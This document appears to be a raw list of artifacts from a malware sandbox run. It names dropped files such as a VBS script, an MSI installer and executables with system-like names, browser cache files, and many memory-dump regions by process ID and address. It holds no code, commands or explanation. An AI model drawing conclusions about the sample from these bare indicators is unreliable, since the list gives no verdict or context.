da1c759c-2fe3-4143-832f-388b2d06a560.tmp
_isdecmp.dll
2.tmp
System.dll
ondlrvesxx.vbs
settings.dat
data_0
data_1
index
ba678a2fbd8c358c_0
index
the-real-index
the-real-index
index
index
MANIFEST-000001
index
Preferences
2cc80dabc69f58b6_0
the-real-index
the-real-index
CURRENT
data_0
data_2
data_3
data_1
content_new.js
959ff3dc-4a8e-44df-9829-54163a5bbbff.tmp
shiD347.tmp
shiD357.tmp
Windows Manager - Postback Johan.msi
CORPerfMonSymbols.exe
e5fe01a.msi
msldriver.dll
SystemDiagnosticsHost.exe
memory/536-27-0x00007FF72A550000-0x00007FF72A56E000-memory.dmp
memory/536-28-0x00007FF72A550000-0x00007FF72A56E000-memory.dmp
memory/564-238-0x000001CBF0CC0000-0x000001CBF0D7E000-memory.dmp
memory/756-1022-0x0000000140000000-0x00000001404E1000-memory.dmp
memory/756-1254-0x0000000140000000-0x00000001404E1000-memory.dmp
memory/756-1200-0x0000000140000000-0x00000001404E1000-memory.dmp
memory/756-1021-0x00007FFF0FF90000-0x00007FFF0FF92000-memory.dmp
memory/832-1001-0x0000000140000000-0x000000014049E000-memory.dmp
memory/832-1033-0x0000000140000000-0x000000014049E000-memory.dmp
memory/832-1000-0x00007FFF0FF90000-0x00007FFF0FF92000-memory.dmp
memory/1044-1045-0x0000000140000000-0x000000014049D000-memory.dmp
memory/1044-1018-0x00007FFF0FF90000-0x00007FFF0FF92000-memory.dmp
memory/1044-1019-0x0000000140000000-0x000000014049D000-memory.dmp
memory/1092-93-0x00000000005A0000-0x0000000000A00000-memory.dmp
memory/1092-316-0x00000000005A0000-0x0000000000A00000-memory.dmp
memory/1092-307-0x00000000005A0000-0x0000000000A00000-memory.dmp
memory/1092-91-0x00000000005A0000-0x0000000000A00000-memory.dmp
memory/1092-295-0x00000000005A0000-0x0000000000A00000-memory.dmp
memory/1316-3027-0x0000000000F30000-0x0000000001B7F000-memory.dmp
memory/1316-1413-0x0000000000F30000-0x0000000001B7F000-memory.dmp
memory/1364-357-0x0000028CE75B0000-0x0000028CE7C5C000-memory.dmp
memory/1364-358-0x0000028CEAEA0000-0x0000028CEB0BC000-memory.dmp
memory/1840-279-0x000001C8664A0000-0x000001C8664C2000-memory.dmp
memory/1840-110-0x000001C8663A0000-0x000001C866452000-memory.dmp
memory/1840-116-0x000001C866620000-0x000001C8667E2000-memory.dmp
memory/1840-117-0x000001C8664D0000-0x000001C866546000-memory.dmp
memory/1840-105-0x000001C84B240000-0x000001C84B2FE000-memory.dmp
memory/1840-118-0x000001C866450000-0x000001C8664A0000-memory.dmp
memory/1840-119-0x000001C866D20000-0x000001C867248000-memory.dmp
memory/1840-120-0x000001C84D0D0000-0x000001C84D0EE000-memory.dmp
memory/2284-0-0x00000000000E0000-0x00000000000E8000-memory.dmp
memory/2284-2-0x000000001B7D0000-0x000000001B7E0000-memory.dmp
memory/2284-1-0x000000001B7D0000-0x000000001B7E0000-memory.dmp
memory/2396-1036-0x0000000140000000-0x000000014049E000-memory.dmp
memory/2476-1197-0x0000000140000000-0x000000014049D000-memory.dmp
memory/2516-425-0x000000001C190000-0x000000001C65E000-memory.dmp
memory/2700-17-0x00007FF633650000-0x00007FF63366E000-memory.dmp
memory/2700-11-0x00007FF633650000-0x00007FF63366E000-memory.dmp
memory/2740-2837-0x0000000006540000-0x000000000655A000-memory.dmp
memory/2740-2949-0x0000000007480000-0x00000000076B0000-memory.dmp
memory/2740-2836-0x00000000077C0000-0x0000000007E3A000-memory.dmp
memory/2740-2780-0x00000000050A0000-0x00000000050C2000-memory.dmp
memory/2740-2782-0x0000000005870000-0x00000000058D6000-memory.dmp
memory/2740-2777-0x0000000005240000-0x0000000005868000-memory.dmp
memory/3056-3926-0x0000000008F50000-0x0000000008FEC000-memory.dmp
memory/3056-3752-0x0000000000400000-0x00000000006AE000-memory.dmp
memory/3088-3958-0x0000019656130000-0x000001965613A000-memory.dmp
memory/3116-347-0x00000180A8AA0000-0x00000180A8AC0000-memory.dmp
memory/3176-79-0x00000000006C0000-0x00000000007C6000-memory.dmp
memory/3176-90-0x00000000006C0000-0x00000000007C6000-memory.dmp
memory/3232-290-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-50-0x0000000002800000-0x0000000002801000-memory.dmp
memory/3232-21-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-111-0x00000000027F0000-0x00000000027F1000-memory.dmp
memory/3232-22-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-331-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-25-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-23-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-12-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-20-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-37-0x0000000000EC0000-0x0000000000EC1000-memory.dmp
memory/3232-16-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-292-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-317-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-15-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-19-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-1188-0x0000000002C80000-0x0000000002C81000-memory.dmp
memory/3232-328-0x00000000027A0000-0x00000000027C5000-memory.dmp
memory/3232-1343-0x0000000000ED0000-0x0000000000ED1000-memory.dmp
memory/3232-1167-0x0000000002C90000-0x0000000002C91000-memory.dmp
memory/3232-18-0x00000000027D0000-0x00000000027D1000-memory.dmp
memory/3336-40-0x0000000140000000-0x0000000140031000-memory.dmp
memory/3720-1227-0x0000018FDAED0000-0x0000018FDAF14000-memory.dmp
memory/4232-39-0x00007FF633650000-0x00007FF63366E000-memory.dmp
memory/4244-3517-0x0000000000400000-0x00000000004051C8-memory.dmp
memory/4260-453-0x00007FF617060000-0x00007FF6170A0000-memory.dmp
memory/4260-451-0x00007FF617060000-0x00007FF6170A0000-memory.dmp
memory/4260-452-0x00007FF617060000-0x00007FF6170A0000-memory.dmp
memory/4260-450-0x00007FF617060000-0x00007FF6170A0000-memory.dmp
memory/4260-447-0x000001AED19F0000-0x000001AED19F1000-memory.dmp
memory/4260-449-0x00007FF617060000-0x00007FF6170A0000-memory.dmp
memory/4260-959-0x00007FF617060000-0x00007FF6170A0000-memory.dmp
memory/4460-1193-0x0000000140000000-0x000000014049D000-memory.dmp
memory/5208-1383-0x0000000000780000-0x0000000001412000-memory.dmp
memory/5232-1215-0x00000000057D0000-0x0000000005AC2000-memory.dmp
memory/5232-1217-0x00000000014E0000-0x0000000001502000-memory.dmp
memory/5232-1214-0x0000000001490000-0x0000000001498000-memory.dmp
memory/5232-1219-0x0000000006070000-0x0000000006614000-memory.dmp
memory/5232-1216-0x00000000054D0000-0x000000000555C000-memory.dmp
memory/5232-1218-0x0000000005560000-0x000000000570C000-memory.dmp
memory/5288-1306-0x00000288319C0000-0x0000028831B46000-memory.dmp
memory/5288-1305-0x0000028817350000-0x0000028817358000-memory.dmp
memory/5608-1238-0x0000000140000000-0x00000001404E1000-memory.dmp
memory/5732-1243-0x0000000000400000-0x0000000000428000-memory.dmp
memory/5808-1346-0x0000000000890000-0x0000000000928000-memory.dmp
memory/5808-1368-0x0000000001450000-0x0000000001AAA000-memory.dmp
memory/5808-1352-0x0000000000A10000-0x0000000000CF4000-memory.dmp
memory/5808-1358-0x0000000000DE0000-0x00000000010D5000-memory.dmp
memory/5808-1360-0x00000000010F0000-0x000000000116D000-memory.dmp
memory/5808-1362-0x0000000001180000-0x00000000011F5000-memory.dmp
memory/5808-1372-0x0000000001C20000-0x0000000001C3B000-memory.dmp
memory/5808-1365-0x0000000001210000-0x000000000124B000-memory.dmp
memory/5808-1350-0x0000000000930000-0x0000000000A0B000-memory.dmp
memory/5808-1374-0x0000000001C50000-0x0000000001C76000-memory.dmp
memory/5808-1348-0x0000000000710000-0x0000000000747000-memory.dmp
memory/5808-1356-0x0000000000D00000-0x0000000000DB7000-memory.dmp
memory/5808-1366-0x0000000001260000-0x0000000001439000-memory.dmp
memory/6200-2417-0x0000000000760000-0x0000000000A84000-memory.dmp
memory/6200-2483-0x000000001CB30000-0x000000001CBE2000-memory.dmp
memory/6236-1697-0x000001CF28B70000-0x000001CF28C1C000-memory.dmp
memory/6272-2790-0x0000000005630000-0x0000000005984000-memory.dmp
memory/6272-2815-0x0000000005C30000-0x0000000005C4E000-memory.dmp
memory/6272-2775-0x00000000046A0000-0x00000000046D6000-memory.dmp
memory/6272-2816-0x0000000005C60000-0x0000000005CAC000-memory.dmp
memory/6732-3463-0x00000000002B0000-0x00000000002C6000-memory.dmp
memory/7016-2444-0x0000000004CB0000-0x0000000004CDE000-memory.dmp
memory/7016-2454-0x0000000005010000-0x00000000051BC000-memory.dmp
memory/7016-2450-0x0000000004CF0000-0x0000000004CFA000-memory.dmp
memory/7016-2452-0x0000000004DD0000-0x0000000004E5C000-memory.dmp
memory/7056-2582-0x0000000000C30000-0x0000000000EAE000-memory.dmp
memory/7056-2712-0x00000000064B0000-0x0000000006726000-memory.dmp
memory/7056-2695-0x0000000005730000-0x0000000005796000-memory.dmp
memory/7244-3524-0x0000000000400000-0x00000000004051C8-memory.dmp
memory/7244-3927-0x0000000000400000-0x00000000004051C8-memory.dmp
memory/7520-3750-0x0000000005930000-0x0000000005942000-memory.dmp
memory/7520-3542-0x0000000000870000-0x0000000000B3A000-memory.dmp
memory/7520-3543-0x0000000005440000-0x00000000054D2000-memory.dmp
memory/7520-3544-0x00000000053E0000-0x00000000053EA000-memory.dmp
memory/7736-3727-0x0000000005530000-0x00000000055AC000-memory.dmp
memory/7736-3753-0x00000000057E0000-0x000000000582C000-memory.dmp
memory/7736-3602-0x0000000000B90000-0x0000000000C56000-memory.dmp
memory/7736-3734-0x0000000005870000-0x0000000005948000-memory.dmp
memory/8016-4112-0x00007FFF08CA0000-0x00007FFF08CAD000-memory.dmp
memory/8016-4149-0x00007FFF08CB0000-0x00007FFF08CBF000-memory.dmp
memory/8016-4123-0x00007FFEEE060000-0x00007FFEEE172000-memory.dmp
memory/8016-4125-0x00007FFEEEB60000-0x00007FFEEEFA5000-memory.dmp
memory/8016-4122-0x00007FFEFEA80000-0x00007FFEFEAA6000-memory.dmp
memory/8016-4121-0x00007FFF00550000-0x00007FFF0055B000-memory.dmp
memory/8016-4111-0x00007FFF005C0000-0x00007FFF005DA000-memory.dmp
memory/8016-4120-0x00007FFF00590000-0x00007FFF0059D000-memory.dmp
memory/8016-4118-0x00007FFEFEAB0000-0x00007FFEFEADD000-memory.dmp
memory/8016-4144-0x00007FFF07EA0000-0x00007FFF07EC7000-memory.dmp
memory/8016-4147-0x00007FFEE1130000-0x00007FFEE1824000-memory.dmp
memory/8016-4151-0x00007FFEFAF10000-0x00007FFEFAF28000-memory.dmp
memory/8016-4150-0x00007FFEED950000-0x00007FFEED987000-memory.dmp
memory/8016-4119-0x00007FFEEE180000-0x00007FFEEE236000-memory.dmp
memory/8016-4113-0x00007FFF005A0000-0x00007FFF005B1000-memory.dmp
memory/8016-4163-0x00007FFF005A0000-0x00007FFF005B1000-memory.dmp
memory/8016-4162-0x00007FFF005C0000-0x00007FFF005DA000-memory.dmp
memory/8016-4161-0x00007FFEED890000-0x00007FFEED8D3000-memory.dmp
memory/8016-4114-0x00007FFEEE240000-0x00007FFEEE5AF000-memory.dmp
memory/8016-4160-0x00007FFEED8E0000-0x00007FFEED910000-memory.dmp
memory/8016-4159-0x00007FFEED910000-0x00007FFEED927000-memory.dmp
memory/8016-4158-0x00007FFEED930000-0x00007FFEED942000-memory.dmp
memory/8016-4157-0x00007FFEF4360000-0x00007FFEF4376000-memory.dmp
memory/8016-4104-0x00007FFF00D10000-0x00007FFF00D3E000-memory.dmp
memory/8016-4103-0x00007FFF016F0000-0x00007FFF0170C000-memory.dmp
memory/8016-4099-0x00007FFF08CB0000-0x00007FFF08CBF000-memory.dmp
memory/8016-4097-0x00007FFF07EA0000-0x00007FFF07EC7000-memory.dmp
memory/8016-4096-0x00007FFEEEB60000-0x00007FFEEEFA5000-memory.dmp